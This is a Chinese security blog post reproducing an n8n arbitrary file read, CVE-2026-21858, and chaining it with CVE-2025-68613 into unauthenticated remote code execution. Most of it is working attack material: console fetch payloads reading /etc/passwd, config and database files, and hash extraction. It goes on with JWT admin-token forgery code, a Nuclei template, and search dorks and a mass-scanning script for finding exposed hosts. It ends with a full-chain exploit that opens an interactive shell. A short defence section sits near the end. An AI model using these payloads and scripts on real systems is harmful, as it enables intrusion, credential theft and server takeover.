CVE-2026-21858 因不当的 Webhook 请求处理而易受未认证文件访问

CVE-2026-21858 因不当的 Webhook 请求处理而易受未认证文件访问
关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。

🔬 技术分析

漏洞原理

N8N 是一个开源的工作流程自动化平台。1.65.0 及以下版本允许攻击者通过执行某些基于表单的工作流程访问底层服务器上的文件。一个易受攻击的工作流程可能让未认证的远程攻击者获得访问权限,导致系统中存储的敏感信息暴露,并根据部署配置和工作流程使用情况,可能进一步被攻破。这个问题在 1.121.0 版本中修复了。

与[[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]] 联合使用就能直接日穿n8n系统。CVE-2025-68613 漏洞虽然可以RCE,但是前提条件是知道n8n系统的登录密码,而且这个账户还需要有节点编辑权限。也就是必须登录到下图这样节点编辑的界面才能成功执行,如果不知道账户密码,或者登录的账户没有节点编辑权限的话就没办法,只能干瞪眼。这时候CVE-2026-2185来了,这个漏洞可以在不登陆的情况下,获得系统一些敏感文件的读取权限,从而访问比如 /etc/passwd 这样的文件获得密码。从而实现完整的攻击链条。


💣 漏洞复现

环境搭建

docker-compose.yml文件如下

services: n8n: build: . container_name: n8n-vulnerable ports: - "5678:5678" environment: - N8N_SECURE_COOKIE=false - WEBHOOK_URL=http://localhost:5678/ volumes: - ./init:/init:ro entrypoint: > bash -c " apt-get update && apt-get install -y curl > /dev/null 2>&1 n8n start & sleep 15 bash /init/setup.sh wait " 

Dockerfile文件如下

FROM node:20-slim RUN npm install -g [email protected] EXPOSE 5678 CMD ["n8n", "start"] 

搭建环境

docker compose up -d # Wait ~60 seconds for setup# Form: http://localhost:5678/form/vulnerable-form# Creds: [email protected] / password
注意,真实渗透并不需要密码。

利用步骤

打开 http://IP:5678/form/vulnerable-form 看得到一个上传文件的窗口,并没有任何登录验证的过程,打开就看得到。


随便穿一个图片就看到显示如此

完整的纯手动利用步骤
第一步:触发任意文件读取

按F12打开控制台Console输入如下内容

fetch('http://target-ip:5678/form/vulnerable-form',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({data:{},files:{test:{filepath:'/etc/passwd',originalFilename:'test.txt',mimetype:'text/plain',size:100}}})}).then(r=> r.text()).then(console.log)

确认任意文件读取漏洞存在,然后读取计算jwt所需的文件。

// 1. 读取环境变量获取HOME目录fetch('http://target-ip:5678/form/vulnerable-form',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({data:{},files:{test:{filepath:'/proc/self/environ',originalFilename:'environ.txt',mimetype:'text/plain',size:1000}}})}).then(r=> r.text()).then(data=>{ console.log('环境变量:', data);// 从输出中找到 HOME=/home/node 或 HOME=/root});// 可能的配置文件路径const configPaths =['/home/node/.n8n/config','/root/.n8n/config','/.n8n/config'];// 尝试读取配置asyncfunctionreadConfig(){for(const path of configPaths){try{const response =awaitfetch('http://target-ip:5678/form/vulnerable-form',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({data:{},files:{config:{filepath: path,originalFilename:'config.json',mimetype:'application/json',size:10000}}})});const text =await response.text();if(!text.includes('error')&&!text.includes('could not be started')){ console.log(`成功读取 ${path}:`, text);return text;}}catch(e){ console.log(`读取 ${path} 失败:`, e);}}}readConfig();// 方法1: 尝试以文本形式读取(SQLite有些部分是可读文本)fetch('http://target-ip:5678/form/vulnerable-form',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({data:{},files:{db:{filepath:'/root/.n8n/database.sqlite',originalFilename:'database.txt',mimetype:'text/plain',// 改为text/plainsize:500000}}})}).then(r=> r.text()).then(data=>{ console.log('数据库内容(可能是二进制+文本混合):', data);// 尝试提取邮箱地址(通常是可读文本)const emailMatches = data.match(/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g); console.log('找到的邮箱:', emailMatches);// 尝试提取bcrypt密码哈希const bcryptMatches = data.match(/\$2[aby]\$\d{2}\$[./A-Za-z0-9]{53}/g); console.log('找到的密码哈希:', bcryptMatches);// 尝试提取UUID(用户ID)const uuidMatches = data.match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi); console.log('找到的UUID:', uuidMatches);});

得到

环境变量: HOSTNAME=0f0c3e315f95 YARN_VERSION=1.22.22 PWD=/ HOME=/root WEBHOOK_URL=http://localhost:5678/ SHLVL=0 N8N_SECURE_COOKIE=false PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NODE_VERSION=20.20.0 _=/usr/local/bin/n8n 成功读取 /root/.n8n/config: { "encryptionKey": "HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G" } 找到的邮箱: (3) ['[email protected]', '%36aec5f0-fd9e-4638-a245-468225f23a17admin@exploit.localAdminExploit', '[email protected]'] VM41:27 找到的密码哈希: ['$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2'] VM41:31 找到的UUID: (7) ['0a8aee21-505e-4b4b-9277-957028c62991', '113cf64e-837c-44aa-83f3-5244ee446eac', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17'] 
第二步:手动伪造JWT令牌

提取到的关键信息

encryptionKey: HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G userId: 36aec5f0-fd9e-4638-a245-468225f23a17 (出现5次,明显是管理员) email: [email protected] passwordHash: $2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2 
方法一:使用浏览器完成JWT伪造(纯手动)

在浏览器控制台运行以下代码:

// 第1步:加载crypto-js库const script = document.createElement('script'); script.src ='https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js'; document.head.appendChild(script);// 第2步:等待3秒后运行JWT生成代码setTimeout(()=>{// 已知信息const encryptionKey ="HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G";const userId ="36aec5f0-fd9e-4638-a245-468225f23a17";const email ="[email protected]";const passwordHash ="$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2";// 派生JWT secret(取偶数位字符)let extracted ='';for(let i =0; i < encryptionKey.length; i +=2){ extracted += encryptionKey[i];}const jwtSecret = CryptoJS.SHA256(extracted).toString(); console.log('🔑 JWT Secret:', jwtSecret);// 计算JWT hashconst combined = email +':'+ passwordHash;const sha256Hash = CryptoJS.SHA256(combined);const base64Hash = sha256Hash.toString(CryptoJS.enc.Base64);const jwtHash = base64Hash.substring(0,10); console.log('🔐 JWT Hash:', jwtHash);// 构造JWT Header和Payloadconst header ={alg:"HS256",typ:"JWT"};const payload ={id: userId,hash: jwtHash};// Base64URL编码constbase64urlEncode=(obj)=>{returnbtoa(JSON.stringify(obj)).replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'');};const headerB64 =base64urlEncode(header);const payloadB64 =base64urlEncode(payload);// 计算签名const message = headerB64 +'.'+ payloadB64;const signature = CryptoJS.HmacSHA256(message, jwtSecret).toString(CryptoJS.enc.Base64).replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'');// 完整JWTconst token = message +'.'+ signature; console.log('✅ JWT Token:', token);// 设置Cookie,IP改成靶机的IP document.cookie =`n8n-auth=${token}; path=/; domain=target-ip`; console.log('🍪 Cookie已设置!'); console.log('📍 现在访问: http://target-ip:5678/');// 自动跳转setTimeout(()=>{ window.location.href ='http://target-ip:5678/';},1000);},3000);

直接就进来了,都不用输入密码登录。

方法二:使用在线Python工具

如果浏览器方法有问题,访问 https://www.online-python.com/ 并运行:

import hashlib import base64 import hmac import json # 已知信息 encryption_key ="HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G" user_id ="36aec5f0-fd9e-4638-a245-468225f23a17" email ="[email protected]" password_hash ="$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2"# 步骤1: 派生JWT secret(取偶数位字符) extracted = encryption_key[::2] jwt_secret = hashlib.sha256(extracted.encode()).hexdigest()print(f"JWT Secret: {jwt_secret}")# 步骤2: 计算JWT hash combined =f"{email}:{password_hash}" jwt_hash_full = base64.b64encode(hashlib.sha256(combined.encode()).digest()).decode() jwt_hash = jwt_hash_full[:10]print(f"JWT Hash: {jwt_hash}")# 步骤3: 构造JWTdefbase64url_encode(data):return base64.urlsafe_b64encode(data).decode().rstrip('=')# Header header ={"alg":"HS256","typ":"JWT"} header_b64 = base64url_encode(json.dumps(header, separators=(',',':')).encode())# Payload payload ={"id": user_id,"hash": jwt_hash} payload_b64 = base64url_encode(json.dumps(payload, separators=(',',':')).encode())# Signature message =f"{header_b64}.{payload_b64}" signature_bytes = hmac.new(jwt_secret.encode(), message.encode(), hashlib.sha256).digest() signature = base64.urlsafe_b64encode(signature_bytes).decode().rstrip('=')# 完整JWT jwt_token =f"{header_b64}.{payload_b64}.{signature}"print(f"\n=== 复制下面的JWT Token ===")print(jwt_token)print(f"\n=== 设置Cookie命令 ===")print(f"document.cookie = \"n8n-auth={jwt_token}; path=/\";")

运行结果

JWT Secret: 16d04397ec90148196f72aa9cd5e6c84bf04f693a9244a148384043fc98f4b9d JWT Hash: ncMgzO+zwP === 复制下面的JWT Token === eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2YWVjNWYwLWZkOWUtNDYzOC1hMjQ1LTQ2ODIyNWYyM2ExNyIsImhhc2giOiJuY01nek8rendQIn0.N0P9jTH-n1qFtZcgA9THAivy-ISh6uQ22nH2qHToqnQ === 设置Cookie命令 === document.cookie = "n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2YWVjNWYwLWZkOWUtNDYzOC1hMjQ1LTQ2ODIyNWYyM2ExNyIsImhhc2giOiJuY01nek8rendQIn0.N0P9jTH-n1qFtZcgA9THAivy-ISh6uQ22nH2qHToqnQ; path=/"; 

浏览器控制台输入命令即可登录到工作流界面。

方法三:手动在浏览器设置Cookie

如果上面的自动跳转不work,手动设置:

  1. 打开浏览器控制台
  2. 运行上面的代码获取JWT token
  3. 手动设置cookie:
// 将这里的TOKEN替换为生成的JWT document.cookie ="n8n-auth=TOKEN_HERE; path=/; domain=target-ip";// 然后访问 window.location.href ='http://target-ip:5678/';
第三步:通过Web界面手动创建RCE工作流

到这一步就可以用[[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]] 的方法了,就和老洞结合起来了。

手动利用总结

完全手动可行的部分

  • ✅ 文件读取(浏览器控制台 + fetch)
  • ✅ 数据库分析(在线SQLite工具)
  • ⚠️ JWT伪造(需要Python或在线工具辅助)
  • ✅ 工作流创建(Web界面点击操作)
  • ✅ RCE触发(浏览器控制台 + fetch)

关键点:JWT伪造是唯一需要编程辅助的步骤,但可以用在线Python解释器(如 https://replit.com/https://www.online-python.com/)完成,不需要本地安装任何工具。

全自动自动脚本
# 拉取pocgit clone https://github.com/Chocapikk/CVE-2026-21858.git # 读取文件 python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd # 双CVE的RCE利用 python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"# 交互式shell python exploit.py http://localhost:5678 /form/vulnerable-form 


📋 CVE-2026-21858 漏洞利用的必要条件

⚠️ 重要声明

这不是一个"万能"的 n8n 漏洞! 它需要目标系统满足特定的配置条件才能成功利用。

✅ 必须满足的 5 个条件

#条件说明检查方法
1️⃣表单工作流存在目标必须配置了带有文件上传字段的 Form Trigger 工作流访问 n8n UI 或通过 API 查询工作流
2️⃣有响应节点工作流必须包含 “Respond to Webhook” 节点来返回文件内容查看工作流配置中的节点连接
3️⃣工作流已激活工作流必须处于激活状态(而不是草稿/停用)工作流右上角开关为开启状态
4️⃣无需认证表单必须允许公开访问,不需要登录直接访问表单 URL 如 http://IP:5678/form/vulnerable-form 不会重定向到登录页
5️⃣返回二进制数据Respond 节点配置为返回 binary 类型数据respondWith: "binary"

🎯 易受攻击的工作流示例

典型的漏洞配置

{"nodes":[{"name":"Form Trigger","type":"n8n-nodes-base.formTrigger","parameters":{"responseMode":"responseNode",// ← 关键:使用响应节点模式"formFields":{"values":[{"fieldLabel":"document","fieldType":"file"// ← 关键:文件类型字段}]}}},{"name":"Respond","type":"n8n-nodes-base.respondToWebhook","parameters":{"respondWith":"binary",// ← 关键:返回二进制数据"inputDataFieldName":"document"}}],"connections":{"Form Trigger":{"main":[[{"node":"Respond"}]]// ← 关键:两个节点必须连接}}}

下载靶机的工作流程配置确实如此。

{"name":"Vulnerable Form","nodes":[{"parameters":{"formTitle":"Upload","formFields":{"values":[{"fieldLabel":"document","fieldType":"file"}]},"responseMode":"responseNode","options":{}},"id":"trigger","name":"Form Trigger","type":"n8n-nodes-base.formTrigger","typeVersion":2.2,"position":[0,0],"webhookId":"vulnerable-form"},{"parameters":{"respondWith":"binary","options":{}},"id":"respond","name":"Respond","type":"n8n-nodes-base.respondToWebhook","typeVersion":1.1,"position":[300,0]}],"pinData":{},"connections":{"Form Trigger":{"main":[[{"node":"Respond","type":"main","index":0}]]}},"active":true,"settings":{"executionOrder":"v1"},"versionId":"113cf64e-837c-44aa-83f3-5244ee446eac","meta":{"templateCredsSetupCompleted":true,"instanceId":"3f11b0ad0c3ab511dade954f94dc424506d153073749fdfee9eaf02b3c813448"},"id":"Tjg3GOuwAWx89qE2","tags":[]}

🔑 漏洞触发的关键要素

  1. fieldType: "file" - 允许文件上传
  2. respondWith: "binary" - 以二进制形式返回文件内容
  3. 节点连接 - Form Trigger → Respond to Webhook
  4. responseMode: "responseNode" - 使用响应节点而不是自动响应

✅ 适用场景(可以利用)

1. 文件处理工作流

  • ✅ PDF 转换器
  • ✅ 图片压缩/调整大小
  • ✅ 文档格式转换器
  • ✅ 文件预览服务

特点: 用户上传文件 → 处理 → 返回处理后的文件

2. 默认 n8n 安装

  • ✅ 表达式注入(CVE-2025-68613)未被禁用
  • ✅ 本地部署或 Docker 部署
  • ✅ 配置和数据库存储在本地磁盘

3. 公开访问的表单

  • ✅ 无需登录即可访问
  • ✅ 无需 API 密钥或 Token
  • ✅ 直接通过 URL 可访问

❌ 不适用场景(无法利用)

1. 没有响应节点的表单

Form Trigger → [其他处理节点] → 保存到数据库/发送邮件 ↑ 没有 Respond 节点 

结果: 文件被读取但内容无法通过 HTTP 响应获取

2. 需要认证的表单

访问表单 → 要求登录 → 无法提交恶意 payload 

结果: 无法触发漏洞

3. n8n Cloud(云端托管)

  • ❌ 不同的架构设计
  • ❌ 无法直接访问本地文件系统
  • ❌ 数据库不在可读取的路径

4. 已修复版本

  • ❌ n8n >= 1.121.0(任意文件读取已修复)
  • ❌ n8n >= 1.120.4(表达式注入已修复)

🔍 漏洞原理深度解析

漏洞触发流程

1. 攻击者发送恶意 JSON payload: { "files": { "test": { "filepath": "/etc/passwd", // ← 控制文件路径 "originalFilename": "test.txt", "mimetype": "text/plain" } } } 2. n8n 错误处理: - 接受 Content-Type: application/json(应该只接受 multipart/form-data) - 直接使用用户提供的 filepath - 没有路径验证或沙箱限制 3. 文件读取: - n8n 读取攻击者指定的任意文件 - 将内容传递给 Respond 节点 4. 数据泄露: - Respond 节点配置为 respondWith: "binary" - 文件内容直接在 HTTP 响应中返回给攻击者 

🎭 替代利用方式

即使没有 “Respond to Webhook” 节点,漏洞仍然存在,但需要不同的数据外泄方法:

方法 1: 带外(OOB)数据外泄

Form Trigger → HTTP Request 节点 ↓ 将文件内容发送到攻击者的服务器 

方法 2: 时序攻击(Blind Exploitation)

读取文件 → 根据文件大小/内容延迟响应 ↓ 攻击者通过响应时间推断文件内容 

方法 3: 其他输出节点

Form Trigger → Email/Slack/Discord 节点 ↓ 将文件内容发送到攻击者控制的账户 

📊 现实世界中的应用场景

容易受攻击的真实用例

应用场景配置特点风险等级
在线文档转换器文件上传 + 返回转换结果🔴 高危
图片处理服务图片上传 + 返回处理后图片🔴 高危
文件预览工具文件上传 + 返回预览🔴 高危
数据分析表单CSV 上传 + 返回分析结果🟡 中危
内部工具(需认证)文件上传但需要登录🟢 低危

不易受攻击的配置

应用场景安全原因
纯数据收集表单只保存数据,不返回文件内容
需要 SSO 的企业表单认证保护
n8n Cloud 用户云架构限制
已升级到新版本补丁修复

搜索语法

n8n 平台远程代码执行漏洞(CVE-2025-68613)ZoomEye搜索app=“n8n”
https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i
hunter搜索语法

web.icon=="8ad475e8b10ff8bcff648ae6d49c88ae" web.icon="8ad475e8b10ff8bcff648ae6d49c88ae"&&icp.number!==""&&icp.name!="公司"&&icp.name!="工作室"&&icp.type!="个人" 

Nuclei模板

id: CVE-2026-21858-lfi-fixed info:name: n8n Arbitrary File Read (CVE-2026-21858) - Active Check author: customized severity: critical description:| Proves CVE-2026-21858 by reading /etc/passwd via n8n vulnerable form trigger.tags: cve,cve2026,n8n,lfi requests:-method: POST path:-"{{BaseURL}}/form/vulnerable-form"-"{{BaseURL}}/webhook/vulnerable-form"-"{{BaseURL}}/form/upload"-"{{BaseURL}}/webhook/upload"# 如果你知道其他特定路径,可以在这里添加headers:Content-Type:"application/json"# 这里的 JSON 必须是压缩的一行,严格模仿 Python 脚本的 Payloadbody:'{"data":{},"files":{"check_vuln":{"filepath":"/etc/passwd","originalFilename":"check.bin","mimetype":"application/octet-stream","size":1024}}}'matchers-condition: and matchers:-type: regex part: body regex:-"root:.*:0:0:"-type: status status:-200

把上面的代码保存为CVE-2026-21858-lfi.yaml文件,然后执行如下命令。

nuclei -u http://8vccf5j.haobachang.loveli.com.cn:8888/ -t CVE-2026-21858-lfi.yaml 

批量测试脚本

scan_n8n.py内容如下

#!/usr/bin/env python3import requests import argparse import urllib3 import concurrent.futures from urllib.parse import urljoin import sys # 禁用 SSL 警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)# 颜色代码 GREEN ="\033[92m" RED ="\033[91m" YELLOW ="\033[93m" RESET ="\033[0m"defget_lfi_payload(filepath="/etc/passwd"):"""构造恶意 JSON Payload"""return{"data":{},"files":{"check_vuln":{"filepath": filepath,"originalFilename":"test.bin","mimetype":"application/octet-stream","size":1024}}}defcheck_vulnerability(target_url, form_path):"""检测单个目标"""# 确保 URL 格式正确ifnot target_url.startswith("http"): target_url =f"http://{target_url}" full_url = urljoin(target_url, form_path)try:# 发送 LFI 请求 response = requests.post( full_url, json=get_lfi_payload(), headers={"Content-Type":"application/json"}, timeout=10, verify=False)# 检查 /etc/passwd 的特征字符if response.status_code ==200and"root:x:0:0"in response.text:print(f"[{GREEN}VULN{RESET}] {full_url} - Successfully read /etc/passwd")return full_url elif response.status_code ==404:# 这里的 404 可能意味着 Form ID 不对,而不是 n8n 不存在print(f"[{YELLOW}WARN{RESET}] {full_url} - Form endpoint not found (404)")else:print(f"[{RED}FAIL{RESET}] {full_url} - Not vulnerable or unknown response (Code: {response.status_code})")except requests.exceptions.RequestException as e:print(f"[{RED}ERR {RESET}] {target_url} - Connection failed: {str(e)[:50]}")returnNonedefmain(): parser = argparse.ArgumentParser(description="Batch Scanner for CVE-2026-21858 (n8n LFI)") parser.add_argument("-f","--file",help="File containing list of target URLs", required=True) parser.add_argument("-p","--path",help="Form path to test (default: /form/vulnerable-form)", default="/form/vulnerable-form") parser.add_argument("-t","--threads",help="Number of threads",type=int, default=10) parser.add_argument("-o","--output",help="File to save vulnerable URLs", default="vuln_hosts.txt") args = parser.parse_args() targets =[]try:withopen(args.file,"r")as f: targets =[line.strip()for line in f if line.strip()]except FileNotFoundError:print(f"Error: File {args.file} not found.") sys.exit(1)print(f"[*] Loaded {len(targets)} targets.")print(f"[*] Testing Form Path: {args.path}")print("[*] Starting scan...\n") vulnerable_hosts =[]# 多线程扫描with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads)as executor: futures ={executor.submit(check_vulnerability, url, args.path): url for url in targets}for future in concurrent.futures.as_completed(futures): result = future.result()if result: vulnerable_hosts.append(result)# 保存结果if vulnerable_hosts:withopen(args.output,"w")as f:for url in vulnerable_hosts: f.write(url +"\n")print(f"\n[{GREEN}SUCCESS{RESET}] Found {len(vulnerable_hosts)} vulnerable hosts. Saved to {args.output}")else:print(f"\n[{RED}FINISHED{RESET}] No vulnerable hosts found.")if __name__ =="__main__": main()

准备一个 target.txt,每行一个 http://ip:port

python .\scan_n8n.py -f .\target.txt -t 20

🛡️ 防御建议

对于 n8n 用户

  1. 立即升级: 升级到 n8n >= 1.121.0
  2. 审查工作流: 检查所有公开表单是否有文件上传功能
  3. 添加认证: 为所有表单添加身份验证
  4. 限制访问: 使用 IP 白名单或 VPN

对于开发者

  1. 输入验证: 验证 Content-Type 必须是 multipart/form-data
  2. 路径沙箱: 限制文件访问在安全目录内
  3. 安全审计: 定期审查文件处理相关代码

💡 总结

CVE-2026-21858 不是通用漏洞,它需要:

  • ✅ 特定的工作流配置(文件上传 + 响应节点)
  • ✅ 工作流处于激活状态
  • ✅ 无认证保护
  • ✅ 易受攻击的 n8n 版本

但是,满足这些条件的系统非常容易被完全攻陷

  1. 任意文件读取 → 窃取数据库和密钥
  2. Token 伪造 → 获取管理员权限
  3. 表达式注入 → 远程代码执行

CVSS 评分 10.0 是合理的,因为一旦条件满足,攻击链是完全可靠且易于执行的。


🔗 参考资源

官方公告

https://www.cve.org/CVERecord?id=CVE-2026-21858

技术分析

PoC/Exploit

#!/usr/bin/env python3""" CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Exploit Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE Author: Chocapikk GitHub: https://github.com/Chocapikk/CVE-2026-21858 """import argparse import hashlib import json import secrets import sqlite3 import string import tempfile from base64 import b64encode import jwt import requests from pwn import log BANNER =""" ╔═══════════════════════════════════════════════════════════════╗ ║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║ ║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║ ║ ║ ║ by Chocapikk ║ ╚═══════════════════════════════════════════════════════════════╝ """ RCE_PAYLOAD ='={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'defrandstr(n:int=12)->str:return"".join(secrets.choice(string.ascii_lowercase + string.digits)for _ inrange(n))defrandpos()->list[int]:return[secrets.randbelow(500)+100, secrets.randbelow(500)+100]classNi8mare:def__init__(self, base_url:str, form_path:str): self.base_url = base_url.rstrip("/") self.form_url =f"{self.base_url}/{form_path.lstrip('/')}" self.session = requests.Session() self.admin_token =Nonedef_api(self, method:str, path:str,**kwargs)-> requests.Response |None: kwargs.setdefault("timeout",30) kwargs.setdefault("cookies",{"n8n-auth": self.admin_token}if self.admin_token else{}) resp = self.session.request(method,f"{self.base_url}{path}",**kwargs)return resp if resp.ok elseNonedef_lfi_payload(self, filepath:str)->dict:return{"data":{},"files":{f"f-{randstr(6)}":{"filepath": filepath,"originalFilename":f"{randstr(8)}.bin","mimetype":"application/octet-stream","size": secrets.randbelow(90000)+10000}}}def_build_nodes(self, command:str)->tuple[list,dict,str,str]: trigger_name, rce_name =f"T-{randstr(8)}",f"R-{randstr(8)}" result_var =f"v{randstr(6)}" payload_value = RCE_PAYLOAD.replace("CMD", command.replace('"','\\"')) nodes =[{"parameters":{},"name": trigger_name,"type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position": randpos(),"id":f"t-{randstr(12)}"},{"parameters":{"values":{"string":[{"name": result_var,"value": payload_value}]}},"name": rce_name,"type":"n8n-nodes-base.set","typeVersion":2,"position": randpos(),"id":f"r-{randstr(12)}"}] connections ={trigger_name:{"main":[[{"node": rce_name,"type":"main","index":0}]]}}return nodes, connections, trigger_name, rce_name # ========== Arbitrary File Read (CVE-2026-21858) ==========defread_file(self, filepath:str, timeout:int=30)->bytes|None: resp = self.session.post( self.form_url, json=self._lfi_payload(filepath), headers={"Content-Type":"application/json"}, timeout=timeout )return resp.content if resp.ok and resp.content elseNonedefget_version(self)->tuple[str,bool]: resp = self._api("GET","/rest/settings", timeout=10) version = resp.json().get("data",{}).get("versionCli","0.0.0")if resp else"0.0.0" major, minor =map(int, version.split(".")[:2])return version, major <1or(major ==1and minor <121)defget_home(self)->str|None: data = self.read_file("/proc/self/environ")ifnot data:returnNonefor var in data.split(b"\x00"):if var.startswith(b"HOME="):return var.decode().split("=",1)[1]returnNonedefget_key(self, home:str)->str|None: data = self.read_file(f"{home}/.n8n/config")return json.loads(data).get("encryptionKey")if data elseNonedefget_db(self, home:str)->bytes|None:return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120)defextract_admin(self, db:bytes)->tuple[str,str,str]|None:with tempfile.NamedTemporaryFile(suffix=".db")as f: f.write(db) f.flush() conn = sqlite3.connect(f.name) row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone() conn.close()return(row[0], row[1], row[2])if row elseNonedefforge_token(self, key:str, uid:str, email:str, pw_hash:str)->str: secret = hashlib.sha256(key[::2].encode()).hexdigest() h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10] self.admin_token = jwt.encode({"id": uid,"hash": h}, secret,"HS256")return self.admin_token defverify_token(self)->bool:return self._api("GET","/rest/users", timeout=10)isnotNone# ========== RCE (CVE-2025-68613) ==========defrce(self, command:str)->str|None: nodes, connections, _, _ = self._build_nodes(command) wf_name =f"wf-{randstr(16)}" workflow ={"name": wf_name,"active":False,"nodes": nodes,"connections": connections,"settings":{}} resp = self._api("POST","/rest/workflows", json=workflow, timeout=10)ifnot resp:returnNone wf_id = resp.json().get("data",{}).get("id")ifnot wf_id:returnNone run_data ={"workflowData":{"id": wf_id,"name": wf_name,"active":False,"nodes": nodes,"connections": connections,"settings":{}}} resp = self._api("POST",f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)ifnot resp: self._api("DELETE",f"/rest/workflows/{wf_id}", timeout=5)returnNone exec_id = resp.json().get("data",{}).get("executionId") result = self._get_result(exec_id)if exec_id elseNone self._api("DELETE",f"/rest/workflows/{wf_id}", timeout=5)return result def_get_result(self, exec_id:str)->str|None: resp = self._api("GET",f"/rest/executions/{exec_id}", timeout=10)ifnot resp:returnNone data = resp.json().get("data",{}).get("data")ifnot data:returnNone parsed = json.loads(data)# Result is usually the last non-empty stringfor item inreversed(parsed):ifisinstance(item,str)andlen(item)>3and item notin("success","error"):return item.strip()returnNone# ========== Full Chain ==========defpwn(self)->bool: p = log.progress("HOME directory") home = self.get_home()ifnot home:return p.failure("Not found")orFalse p.success(home) p = log.progress("Encryption key") key = self.get_key(home)ifnot key:return p.failure("Failed")orFalse p.success(f"{key[:8]}...") p = log.progress("Database") db = self.get_db(home)ifnot db:return p.failure("Failed")orFalse p.success(f"{len(db)} bytes") p = log.progress("Admin user") admin = self.extract_admin(db)ifnot admin:return p.failure("Not found")orFalse uid, email, pw = admin p.success(email) p = log.progress("Token forge") self.forge_token(key, uid, email, pw) p.success("OK") p = log.progress("Admin access")ifnot self.verify_token():return p.failure("Rejected")orFalse p.success("GRANTED!") log.success(f"Cookie: n8n-auth={self.admin_token}")returnTruedefparse_args(): p = argparse.ArgumentParser(description="n8n Ni8mare - Full Chain Exploit") p.add_argument("url",help="Target URL (http://target:5678)") p.add_argument("form",help="Form path (/form/upload)") p.add_argument("--read", metavar="PATH",help="Read arbitrary file") p.add_argument("--cmd", metavar="CMD",help="Execute single command") p.add_argument("-o","--output", metavar="FILE",help="Save LFI output to file")return p.parse_args()defrun_read(exploit: Ni8mare, path:str, output:str|None)->None: data = exploit.read_file(path)ifnot data: log.error("File read failed")return log.success(f"{len(data)} bytes")if output:withopen(output,"wb")as f: f.write(data) log.success(f"Saved: {output}")returnprint(data.decode())defrun_cmd(exploit: Ni8mare, cmd:str)->None: p = log.progress("RCE") out = exploit.rce(cmd)ifnot out: p.failure("Failed")return p.success("OK")print(f"\n{out}")defrun_shell(exploit: Ni8mare)->None: log.info("Interactive mode (type 'exit' to quit)")whileTrue:try: cmd =input("\033[91mn8n\033[0m> ").strip()except(EOFError, KeyboardInterrupt):print()returnifnot cmd or cmd =="exit":return out = exploit.rce(cmd)if out:print(out)defmain():print(BANNER) args = parse_args() exploit = Ni8mare(args.url, args.form) version, vuln = exploit.get_version() log.info(f"Target: {exploit.form_url}") log.info(f"Version: {version} ({'VULN'if vuln else'SAFE'})")if args.read: run_read(exploit, args.read, args.output)returnifnot exploit.pwn():returnif args.cmd: run_cmd(exploit, args.cmd)return run_shell(exploit)if __name__ =="__main__": main()

🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

Read more

Claude Code Viewer: 打造 Web 端 Claude Code 会话管理利器

